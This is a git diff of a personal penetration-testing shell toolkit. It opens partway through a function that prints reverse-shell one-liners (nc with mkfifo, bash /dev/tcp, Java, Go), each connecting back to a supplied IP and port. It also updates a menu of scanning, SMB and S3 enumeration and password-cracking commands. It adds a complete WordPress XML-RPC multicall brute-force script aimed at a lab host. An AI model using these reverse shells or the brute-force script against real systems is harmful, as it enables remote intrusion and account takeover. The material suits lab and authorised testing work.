$1 $port 0/tmp/p" + echo -e "\033[36m[nc]\033[0m\t\trm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $1 $port >/tmp/f" + echo + echo -e "\033[1;35m[Java]\033[0m\t\tr = Runtime.getRuntime();p = r.exec([\"/bin/bash","-c","exec 5<>/dev/tcp/$1/$port;cat <&5 | while read line; do \$line 2>&5 >&5; done\"] as String[]);p.waitFor()" + echo + echo -e "\033[1;32m[Go]\033[0m\t\techo 'package main;import\"os/exec\";import\"net\";func main(){c,_:=net.Dial(\"tcp\",\"$1:$port\");cmd:=exec.Command(\"/bin/sh\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;http://cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go" + echo -e "$BLUE\n[s0mbra] Done! $CLR" } -php8() { - echo -e "$BLUE[+] Switching PHP version to 8.x ...\n$YELLOW" - brew unlink php@7.4 && brew link --force php@8.0 - echo -e "$BLUE[+] Changing httpd.conf...$YELLOW" - sudo cp /private/etc/apache2/httpd.conf.php8 /private/etc/apache2/httpd.conf - echo -e "$BLUE[+] Restarting Apache...$YELLOW" - sudo apachectl -k restart - echo -e "$BLUE[+] All done, current PHP version is:\n$GREEN" - php -v - echo -e "$CLR" +# decodes Base64 string +b64() { + echo -e "$BLUE[s0mbra] Decoding Base64 string...$CLR" + echo $1 | base64 -D + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +# hash/encode string +hshr() { + echo -e "$BLUE[s0mbra] Hash/encoode $1...$CLR" + hasher "$1" + echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# cat <<'-md-' +# # s0mbra.sh - Recon and pentest tool + +# This script is a collection of various tools and functions for reconnaissance, pentesting, and code analysis +# It provides functionalities for network scanning, web application testing, cloud storage enumeration, and more. +# -md- + +### menu cmd=$1 -clear -echo "$__logo" + case "$cmd" in - php7) - php7 - ;; - php8) - php8 - ;; set_ip) set_ip "$2" ;; - subdomenum) - subdomenum "$2" "$3" + enum) + enum "$2" + ;; + recon) + recon "$2" "$3" "$4" + ;; + kiterunner) + kiterunner "$2" + ;; + pysast) + pysast "$2" ;; full_nmap_scan) - full_nmap_scan "$2" + full_nmap_scan "$2" "$3" + ;; + quick_nmap_scan) + quick_nmap_scan "$2" "$3" ;; http_server) - http_server "$2" + http_server "$2" "$3" ;; rockyou_john) rockyou_john "$2" "$3" @@ -458,14 +717,23 @@ case "$cmd" in rockyou_zip) rockyou_zip "$2" ;; + john_pot) + john_pot + ;; ssh_to_john) ssh_to_john "$2" ;; - npm_scan) - npm_scan "$2" + unmin) + unmin "$2" + ;; + snyktest) + snyktest ;; - javascript_sca) - javascript_sca "$2" + gql) + gql "$2" + ;; + graphw00f) + graphw00f "$2" ;; dex_to_jar) dex_to_jar "$2" @@ -476,17 +744,17 @@ case "$cmd" in apk) apk "$2" ;; + apk_to_studio) + apk_to_studio "$2" + ;; abe) abe "$2" ;; - decompile_jar) - decompile_jar "$2" + unjar) + unjar "$2" ;; - privesc_tools_linux) - privesc_tools_linux - ;; - privesc_tools_windows) - privesc_tools_windows + disass) + disass "$2" ;; smb_enum) smb_enum "$2" "$3" "$4" @@ -506,62 +774,69 @@ case "$cmd" in s3) s3 "$2" ;; + b64) + b64 "$2" + ;; + hashme) + hshr "$2" + ;; fu) - fu "$2" "$3" + fu "$2" "$3" "$4" "$5" + ;; + apifuzz) + api_fuzz "$2" "$3" + ;; + s3get) + s3get "$2" "$3" + ;; + s3ls) + s3ls "$2" "$3" ;; - s3go) - s3go "$2" "$3" + discloS3) + discloS3 "$2" ;; - generate_shells) - generate_shells "$2" "$3" + shells) + shells "$2" "$3" ;; - interactive) - interactive "$2" + rubysast) + ruby_sast "$2" ;; *) clear - echo -e "$GREEN I'm guessing there's no chance we can take care of this quietly, is there? - S0mbra$CLR" - echo -e "--------------------------------------------------------------------------------------------------------------" - echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}" - echo -e "\t s0mbra.sh interactive {IP} (interactive mode)$CLR" # interactive\t\t -> TBD - echo -e "\n$BLUE:: COMMANDS IN INTERACTIVE MODE ::$CLR" - echo -e "\tset_ip [IP]\t\t\t\t\t -> sets IP in current Bash session to use by other s0mbra commands" - echo -e "$BLUE:: RECON ::$CLR" - echo -e "\tsubdomenum [SCOPE_FILE] [OUTPUT_DIR]\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" - echo -e "\tfull_nmap_scan [IP]\t\t\t\t -> nmap -p- to enumerate ports + -sV -sC -A on found open ports" - echo -e "\tnfs_enum [IP]\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" - echo -e "$BLUE:: AMAZON AWS S3 ::$CLR" - echo -e "\ts3 [bucket]\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" - echo -e "\ts3go [bucket] [key]\t\t\t\t -> get object identified by [key] from AWS S3 [bucket]" - echo -e "$BLUE:: PENTEST TOOLS ::$CLR" - echo -e "\thttp_server [PORT]\t\t\t\t -> runs HTTP server on [PORT] TCP port" - echo -e "\tprivesc_tools_linux \t\t\t\t -> runs HTTP server on port 9119 in directory with Linux PrivEsc tools" - echo -e "\tprivesc_tools_windows \t\t\t\t -> runs HTTP server on port 9119 in directory with Windows PrivEsc tools" - echo -e "\tgenerate_shells [IP] [PORT] \t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" - echo -e "$BLUE:: SMB SUITE ::$CLR" - echo -e "\tsmb_enum [IP] [USER] [PASSWORD]\t\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" - echo -e "\tsmb_get_file [IP] [user] [password] [PATH] \t -> downloads file from SMB share [PATH] on [IP]" - echo -e "\tsmb_mount [IP] [SHARE] [USER]\t\t\t -> mounts SMB share at ./mnt/shares" - echo -e "\tsmb_umount\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" - echo -e "$BLUE:: PASSWORDS CRACKIN' ::$CLR" - echo -e "\trockyou_john [TYPE] [HASHES]\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" - echo -e "\tssh_to_john [ID_RSA]\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" - echo -e "\trockyou_zip [ZIP file]\t\t\t\t -> crack ZIP password" - echo -e "$BLUE:: STATIC CODE ANALYSIS ::$CLR" - echo -e "\tnpm_scan [MODULE_NAME]\t\t$YELLOW(JavaScript)$CLR\t -> static code analysis of MODULE_NAME npm module with nodestructor" - echo -e "\tjavascript_sca [FILE_NAME]\t$YELLOW(JavaScript)$CLR\t -> static code analysis of single JavaScript file with nodestructor" - echo -e "\tdecompile_jar [.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" - echo -e "$BLUE:: ANDROID ::$CLR" - echo -e "\tjadx [.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" - echo -e "\tdex_to_jar [.dex file]\t\t\t\t -> exports .dex file into .jar" - echo -e "\tapk [.apk FILE]\t\t\t\t\t -> extracts APK file and run apktool on it" - echo -e "\tabe [.ab FILE]\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" - echo -e "$BLUE:: WEB ::$CLR" - echo -e "\tfu [URL] [DICT]\t\t\t\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" - echo -e "$BLUE:: MISC ::$CLR" - echo -e "\tphp7 \t\t\t\t\t\t -> switch PHP to version 7.x" - echo -e "\tphp8 \t\t\t\t\t\t -> switch PHP to version 8.x" - echo -e "\n\n--------------------------------------------------------------------------------------------------------------" - echo -e "$GREEN Hack The Planet!\n$CLR" + echo -e "$CLR" + echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN enum $GRAY[DOMAIN]$CLR\t\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" + + echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR" + echo -e "$CYAN graphw00f $GRAY[HOST]$CLR\t\t$YELLOW(GraphQl)$CLR\t$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR" + echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CRL" + echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN discloS3 $GRAY[URL]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t$CYAN s3 $GRAY[BUCKET]$CLR\t\t\t$YELLOW(AWS)$CLR" + echo -e "$CYAN s3get $GRAY[BUCKET] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t$CYAN s3ls $GRAY[BUCKET] [folder]$CLR\t\t$YELLOW(AWS)$CLR" + + echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR\t\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR" + echo -e "$CYAN http_server $GRAY[PORT] [STACK]$CLR\t\t\t$CYAN shells $GRAY[IP] [PORT] $CLR" + echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR" + echo -e "$CYAN smb_get_file $GRAY[IP] [PATH] [user] [*password] $CLR\t$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR" + echo -e "$CYAN smb_umount $CLR" + + echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN rockyou_john $GRAY[HASHES] [FORMAT]\t$LIGHTGREEN(JohnTheRipper)$CLR\t$CYAN ssh_to_john $GRAY[ID_RSA]\t\t$LIGHTGREEN(JohnTheRipper)$CLR" + echo -e "$CYAN rockyou_zip $GRAY[ZIP file]\t\t$LIGHTGREEN(JohnTheRipper)$CLR\t$CYAN john_pot\t\t\t$LIGHTGREEN(JohnTheRipper)$CLR" + + echo -e "$BLUE_BG:: STATIC CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN unmin $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" + echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR" + echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR" + echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR" + echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR" + echo -e "$CYAN apk_to_studio $GRAY[.apk FILE]$CLR\t$YELLOW(Java)$CLR" + echo -e "$BLUE_BG:: UTILS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t$CYAN hashme $GRAY[STRING]$CLR" + echo -e "$CLR" + echo -e "$CLR" ;; esac diff --git a/subdomain_enum.sh b/subdomain_enum.sh deleted file mode 100755 index daea6b3..0000000 --- a/subdomain_enum.sh +++ /dev/null @@ -1,98 +0,0 @@ -#!/bin/bash -# Subdomain enumeration and web server discovery + screenshot tools -# -# @author: bl4de -# @licence: MIT -# - - -## create domains/ folder -create_domains_folder() { - if [ ! -d domains ]; then - mkdir domains - echo -e "$(date) domains/ folder created" >> subdomain_enum.log - fi -} - - -## perform sublist3r and amass enumeration on each domain passed as an argument -enumerate_domain() { - local DOMAIN=$1 - echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log - sublister -d $DOMAIN -o domains/$DOMAIN.sublister - amass enum -brute -min-for-recursive 1 -d $DOMAIN -o domains/$DOMAIN.amass - - if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ]; then - cat domains/$DOMAIN.* > domains/$DOMAIN.all - sort -u -k 1 domains/$DOMAIN.all > domains/$DOMAIN - fi - rm -f domains/$DOMAIN.* - echo -e "$(date) finished enumerate $DOMAIN, total number of unique domains found: $(cat domains/$DOMAIN|wc -l)" >> subdomain_enum.log -} - -## processing all outputed list of domains into one, removing dups -## and sorting -create_list_of_domains() { - echo -e "$(date) create final list of domains found..." >> subdomain_enum.log - # concatenate and sort all domains from the target - cat domains/*.* > domains/domains.all - sort -u -k 1 domains/domains.all > domains/__domains - # remove odd
left by Sublist3r or amass :P - sed 's/
/#/g' __domains | tr '#' '\n' > __domains.final - rm -f domains/domains.all - echo -e "$(date) ... Done! $(cat domains/__domains.final|wc -l) unique domains gathered \o/" >> subdomain_enum.log -} - - -## runs denumerator -run_denumerator() { - echo -e "$(date) denumerator started" >> subdomain_enum.log - denumerator -f domains/__domains.final -c 200,302,403,500 - echo -e "$(date) denumerator finished" >> subdomain_enum.log - echo -e "$(date) total webservers enumerated and saved to report: $(ls -l report/ | wc -l)" >> subdomain_enum.log -} - - -## performs nmap scan -run_virustotal_enum() { - echo -e "$(date) virustotal $CIDR enumeration started" >> subdomain_enum.log - # run virustotal.py reverse domain search - virustotal --cidr $CIDR --output domains/virustotal.domains - echo -e "$(date) virustotal $CIDR enumeration finished, $(cat domains/virustotal.domains|wc -l) domains found" >> subdomain_enum.log -} - - -## ----------------------------------------------------------------------------- - -# list of domains - text file, one domain in single line -DOMAINS=$1 - -# IP address range -CIDR=$2 - -echo -e "$(date) subdomain_enum.sh started" >> subdomain_enum.log - -# enusre that domains/ folder exists, if not create one -create_domains_folder - -if [[ -n $CIDR ]]; then - run_virustotal_enum -fi - -cat $DOMAINS | while read DOMAIN -do - enumerate_domain $DOMAIN -done - -# concatenate and sort all domains from the target -create_list_of_domains -echo -e "\n[+} DONE. Found $(wc -l domains/__domains.final) unique subdomains" - -# run denumerator on the domains/domains.final output file -run_denumerator - -echo -e "\n[+} DONE." - -## ----------------------------------------------------------------------------- - - diff --git a/virustotal.py b/virustotal.py index 9a6aa7a..a68fde2 100755 --- a/virustotal.py +++ b/virustotal.py @@ -1,7 +1,7 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 from netaddr import * -import ctfpwn +import requests import json import time import os @@ -20,10 +20,10 @@ def process(cidr, logfile): url = 'https://www.virustotal.com/vtapi/v2/ip-address/report?apikey={}&ip={}'.format( virus_total_api_key, str(ip)) - resp = ctfpwn.http_get(url) + resp = requests.get(url) - if resp: - domains = json.loads(resp) + if resp.status_code == 200: + domains = json.loads(resp.text) if (domains['response_code'] == 0): print("[-] Empty response for {}".format(str(ip))) diff --git a/xmlrpc_amplif_bruteforce.py b/xmlrpc_amplif_bruteforce.py new file mode 100644 index 0000000..3993b1c --- /dev/null +++ b/xmlrpc_amplif_bruteforce.py @@ -0,0 +1,127 @@ +#!/usr/bin/env python3 +# +# XML-RPC bruteforce amplification attack +# https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/ + +import requests + +output = open("./output.txt", "w") +passwords = open( + "/Users/bl4de/hacking/dictionaries/100000_passwords.txt").readlines() +usernames = open( + "/Users/bl4de/hacking/dictionaries/SecLists/Usernames/top-usernames-shortlist.txt").readlines() +host = "metapress.htb" + +# headers used in POST requests +h = { + "Host": host, + "User-Agent": "HackerOne/bl4de" +} + +index = 0 + +# XMLRPC url +url = "http://metapress.htb/xmlrpc.php" + +print("[+] building payload...") +# building payload for system.multicall wp.getUsersBlogs +payload_start = """ + + + system.multicall + + + + + +""" + + +payload_end = """ + + + + + + +""" + +total = 0 + + +def send_request_with_username(username, passwords): + global total + payload = "" + username = username.strip() + + for password in passwords: + payload = payload + """ + + + + methodName + + wp.getUsersBlogs + + + + params + + + + + + + + {} + + + {} + + + + + + + + + + + """.format(username, password.strip()) + total = total + 1 + + print("\n[+] payload for {} ready ({} KB)...".format(username, len(payload)/64)) + + payload = payload_start + payload + payload_end + + # print(payload) + + print("[+] sending POST request with payload... ({} credentials in total checked)".format(total)) + resp = requests.post(url, headers=h, data=payload) + + if resp.status_code == 200: + print("[+] response HTTP 200 OK received, analysing results...") + # p0wned. This is the end :P + if b"isAdmin" in resp.content: + print("[+] SUCCESS !!! Matching username/password for {} found!, please review response content for details...").format(username) + output.write(resp.content) + exit(0) + + else: + print( + "[-] no matching username/password for {} found... :(").format(username) + + output.write(resp.content) + + else: + print("[-] something wrong, {} HTTP Response form{} received: \n\n").format( + resp.status_code, username) + print(resp.content) + + +for username in usernames: + for i in range(0, 100000, 64): + password = passwords[i:i+64] + send_request_with_username(username, password) + +print("[+] done...\n\n")